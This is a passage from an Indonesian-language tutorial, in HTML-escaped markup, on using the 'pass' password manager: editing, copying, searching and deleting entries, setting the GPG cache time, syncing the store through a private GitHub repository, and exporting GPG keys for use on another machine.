bisa secara langsung meng-&lt;em&gt;edit&lt;/em&gt; konten dari file-file &lt;em&gt;password&lt;/em&gt; kita, misalnya dengan tujuan untuk menambahkan detail metadata lain, seperti email, catatan, dan lain sebagainya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;edit&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;edit&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;sub-dir&amp;gt;/&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;editing pass&quot; loading=&quot;lazy&quot; width=&quot;255&quot; height=&quot;205&quot; src=&quot;/_astro/ss12.Cn3wb6Nf_MxFtI.webp&quot; /&gt;&lt;figcaption&gt;editing pass&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2.7 Copying Pass&lt;a href=&quot;#27-copying-pass&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga dapat meng-&lt;em&gt;copy&lt;/em&gt; password tertentu ke &lt;em&gt;clipboard&lt;/em&gt; tanpa menampilkannya di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;sub-dir&amp;gt;/&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;copying password to clipboard without showing it to the terminal&quot; loading=&quot;lazy&quot; width=&quot;451&quot; height=&quot;139&quot; src=&quot;/_astro/ss11.BAl30WKZ_1wkw1D.webp&quot; /&gt;&lt;figcaption&gt;copying password to clipboard without showing it to the terminal&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Perhatikan bahwa password yang di-&lt;em&gt;copy&lt;/em&gt; ke &lt;em&gt;clipboard&lt;/em&gt; juga diberi batasan waktu (default-nya 45 detik). Artinya, kalau kita tidak segera mem-&lt;em&gt;paste&lt;/em&gt;-kan &lt;em&gt;password&lt;/em&gt; tersebut ke suatu tempat, &lt;em&gt;password&lt;/em&gt; akan hilang dari &lt;em&gt;clipboard&lt;/em&gt; dan kita perlu mengulang perintah di atas kembali jika ingin menggunakannya lagi.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Jika kita sudah meng-&lt;em&gt;edit&lt;/em&gt; atau menambahkan metadata atau informasi tambahan sebelumnya ke dalam file &lt;em&gt;password&lt;/em&gt; tertentu, perintah di atas hanya akan meng-&lt;em&gt;copy&lt;/em&gt; informasi &lt;em&gt;password&lt;/em&gt; kita saja yang berada di baris paling atas. Artinya, informasi lain di baris bawahnya tidak akan ikut ter-&lt;em&gt;copy&lt;/em&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2.8 Finding Pass File&lt;a href=&quot;#28-finding-pass-file&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Jika kita memiliki banyak file (apalagi ditambah juga dengan banyak sub-direktori/sub-folder), maka mencari satu file &lt;em&gt;password&lt;/em&gt; tertentu akan terasa sulit. Kita dapat mencari file &lt;em&gt;password&lt;/em&gt; dengan mudah melalui perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;dir-name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;search&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;search&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;dir-name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;finding password filename&quot; loading=&quot;lazy&quot; width=&quot;469&quot; height=&quot;247&quot; src=&quot;/_astro/ss13.CCnW45na_Z1j25NI.webp&quot; /&gt;&lt;figcaption&gt;finding password filename&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2.9 Grepping Metadata&lt;a href=&quot;#29-grepping-metadata&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Jika kita misalnya ingin mengetahui informasi spesifik mengenai metadata yang tersimpan dalam file-file &lt;em&gt;password&lt;/em&gt; tersebut (termasuk informasi tentang &lt;em&gt;password&lt;/em&gt; itu sendiri tentunya), kita dapat menggunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;grepping metadata&quot; loading=&quot;lazy&quot; width=&quot;224&quot; height=&quot;215&quot; src=&quot;/_astro/ss14.CqyKq2yo_A795W.webp&quot; /&gt;&lt;figcaption&gt;grepping metadata&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, kita bisa mendapatkan &lt;em&gt;string&lt;/em&gt; “email” yang terdapat di file&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;~/.password-store/github&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.password-store/email/alex&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.password-store/email/wildan&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2.9 Deleting Pass&lt;a href=&quot;#29-deleting-pass&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita pun dapat menghapus &lt;em&gt;password&lt;/em&gt; yang sudah dibuat dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;dir-name&amp;gt;/&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;removing password&quot; loading=&quot;lazy&quot; width=&quot;703&quot; height=&quot;381&quot; src=&quot;/_astro/ss15.C2OQYdS5_ZJAStH.webp&quot; /&gt;&lt;figcaption&gt;removing password&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Notes&lt;a href=&quot;#notes&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;Ketika berinteraksi “pertama kali” dengan hal yang berkaitan langsung dengan konten file &lt;em&gt;password&lt;/em&gt;, misalnya seperti menampilkan &lt;em&gt;password&lt;/em&gt;, meng-&lt;em&gt;copy&lt;/em&gt; &lt;em&gt;password&lt;/em&gt; ke &lt;em&gt;clipboard&lt;/em&gt;, meng-&lt;em&gt;edit&lt;/em&gt; konten file &lt;em&gt;password&lt;/em&gt;, dan lain sebagainya, &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt; akan meminta &lt;em&gt;passphrase&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Pengaturan &lt;em&gt;passphrase&lt;/em&gt; yang muncul tersebut juga dapat diatur, agar misalnya &lt;em&gt;passphrase&lt;/em&gt; tersebut tidak hanya akan diminta pertama kali saja, tetapi, jika sudah lewat 5 detik dari permintaan pertama. Inilah yang disebut dengan pengaturan &lt;em&gt;&lt;strong&gt;caching time&lt;/strong&gt;&lt;/em&gt;. Caranya, kita menambahkan baris berikut di &lt;strong&gt;&lt;code&gt;~/.gnupg/gpg-agent.conf&lt;/code&gt;&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;default-cache-ttl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Pass x Git&lt;a href=&quot;#3-pass-x-git&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Semua pengelolaan &lt;em&gt;password&lt;/em&gt; di atas tentu saja hanya terjadi di komputer lokal kita. Sekarang, bagaimana jika kita ingin agar &lt;em&gt;password-password&lt;/em&gt; tersebut dapat dikelola juga di komputer yang lain? Solusinya adalah dengan menggunakan fitur “&lt;code&gt;git&lt;/code&gt;” yang disediakan oleh &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;3.1 Initializing &lt;code&gt;git&lt;/code&gt;&lt;a href=&quot;#31-initializing-git&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk meng-inisialisasikan &lt;code&gt;git&lt;/code&gt;, (dan ini adalah hal pertama yang mesti dilakukan), caranya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;init&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3.2 Adding repo&lt;a href=&quot;#32-adding-repo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sebelum menambahkan repository, kita perlu memperhatikan beberapa hal berikut ini terlebih dahulu:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Sudah memiliki akun di &lt;strong&gt;Github&lt;/strong&gt; (atau “Gitlab”).&lt;/li&gt;
&lt;li&gt;Sudah membuat repositori di akun &lt;strong&gt;Github&lt;/strong&gt; tersebut.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;WARNING&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Saran saya, untuk alasan keamanan, repositori Github yang digunakan untuk “menyimpan” &lt;em&gt;password-password&lt;/em&gt; kita tersebut dibuat &lt;strong&gt;“private”&lt;/strong&gt; saja  (jangan “public”). Dengan demikian, repositori tersebut tidak dapat dilihat oleh orang lain alias hanya kita sebagai pemilik akun Github tersebut sajalah yang dapat melihatnya.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Untuk menambahkan &lt;em&gt;remote&lt;/em&gt; repositori ke &lt;code&gt;git&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# menambahkan _remote_ repositori di Github via SSH&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;origin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git@github.com:&amp;lt;username&amp;gt;/&amp;lt;repo-name&amp;gt;.git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Kita dapat mengetahui tautan SSH untuk repo Github dengan melihat menu &lt;strong&gt;SSH&lt;/strong&gt; pada bagian &lt;strong&gt;Code&lt;/strong&gt;:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Github SSH&quot; loading=&quot;lazy&quot; width=&quot;532&quot; height=&quot;402&quot; src=&quot;/_astro/ss16.CzMT0gei_Z25i0EI.webp&quot; /&gt;&lt;figcaption&gt;Github SSH&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3.3 Pushing&lt;a href=&quot;#33-pushing&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk mem-&lt;em&gt;push&lt;/em&gt; repositori git yang ada di komputer lokal kita ke Github:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-u&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--all&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Maka seluruh direktori/folder berikut dengan file-file &lt;em&gt;password&lt;/em&gt; di dalamnya akan “tersimpan” di Github.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;git init, add repo, push&quot; loading=&quot;lazy&quot; width=&quot;524&quot; height=&quot;449&quot; src=&quot;/_astro/ss17.CXTxfITw_Z1UVNNe.webp&quot; /&gt;&lt;figcaption&gt;git init, add repo, push&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3.4 Cloning&lt;a href=&quot;#34-cloning&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Nah, sekarang, agar &lt;em&gt;password-password&lt;/em&gt; tersebut dapat digunakan di komputer yang lain, berikut adalah syarat minimalnya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Komputer tersebut sudah memiliki &lt;code&gt;git&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Komputer tersebut juga sudah memiliki &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;blockquote&gt;&lt;p&gt;Kalau belum, berarti harus install terlebih dahulu.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Agar &lt;em&gt;password-password&lt;/em&gt; yang sudah ter-”&lt;em&gt;upload&lt;/em&gt;” (&lt;em&gt;push&lt;/em&gt;) ke Github tadi dapat digunakan kembali di komputer kita yang lain, kita perlu men-”&lt;em&gt;download&lt;/em&gt;”-nya (&lt;em&gt;clone&lt;/em&gt;) terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# clone the Github repo and save it to &quot;~/.password-store&quot; directory&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git@github.com:&amp;lt;username&amp;gt;/&amp;lt;repo-name&amp;gt;.git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.password-store&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;cloning the pass repo&quot; loading=&quot;lazy&quot; width=&quot;583&quot; height=&quot;432&quot; src=&quot;/_astro/ss18.CYd2Qi8V_26pS0j.webp&quot; /&gt;&lt;figcaption&gt;cloning the pass repo&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada gambar di atas, kita berhasil meng-&lt;em&gt;clone&lt;/em&gt; repositori Github-nya. Kita pun berhasil melihat daftar &lt;em&gt;password&lt;/em&gt; yang ada. Masalahnya adalah, kita masih belum memiliki akses untuk berinteraksi (melihat, memodifikasi, mengedit, menghapus, dll) dengan &lt;em&gt;password-password&lt;/em&gt; tersebut karena kita belum memiliki &lt;em&gt;&lt;strong&gt;private key&lt;/strong&gt;&lt;/em&gt; &amp;amp; &lt;em&gt;&lt;strong&gt;public key&lt;/strong&gt;&lt;/em&gt; yang diperlukan (lihat bagian kotak berwarna merah di bagian bawah gambar tersebut).&lt;/p&gt;&lt;p&gt;Oleh karena itu, tugas kita sekarang adalah meng-&lt;em&gt;import&lt;/em&gt; kedua &lt;em&gt;key&lt;/em&gt; tersebut.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3.5 Importing Keys&lt;a href=&quot;#35-importing-keys&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita harus meng-&lt;em&gt;export&lt;/em&gt; &lt;em&gt;&lt;strong&gt;private key&lt;/strong&gt;&lt;/em&gt; &amp;amp; &lt;em&gt;&lt;strong&gt;public key&lt;/strong&gt;&lt;/em&gt; terlebih dahulu, baru meng-&lt;em&gt;import&lt;/em&gt;-nya.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Export Keys&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Lakukan tahap &lt;em&gt;export&lt;/em&gt; di komputer tempat membuat &lt;em&gt;password&lt;/em&gt; dengan &lt;strong&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/strong&gt; (bukan komputer lain).&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;keys&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;keys&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# creating new dir to save exported private &amp;amp; public key&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gpg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--output&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;private.pgp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--armor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--export-secret-key&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;email@domain.com&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# export private key&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gpg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--output&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;public.pgp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--armor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--export&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;email@domain.com&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# export public key&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Setelah itu, kita boleh men-”transfer” direktori tersebut ke komputer tujuan (dengan &lt;code&gt;scp&lt;/code&gt;, misalnya).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;exporting private &amp;amp;#x26; public keys&quot; loading=&quot;lazy&quot; width=&quot;534&quot; height=&quot;331&quot; src=&quot;/_astro/ss19.OmpixjM8_Z1YmXO7.webp&quot; /&gt;&lt;figcaption&gt;exporting private &amp;amp; public keys&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Import Keys&lt;/li&gt;
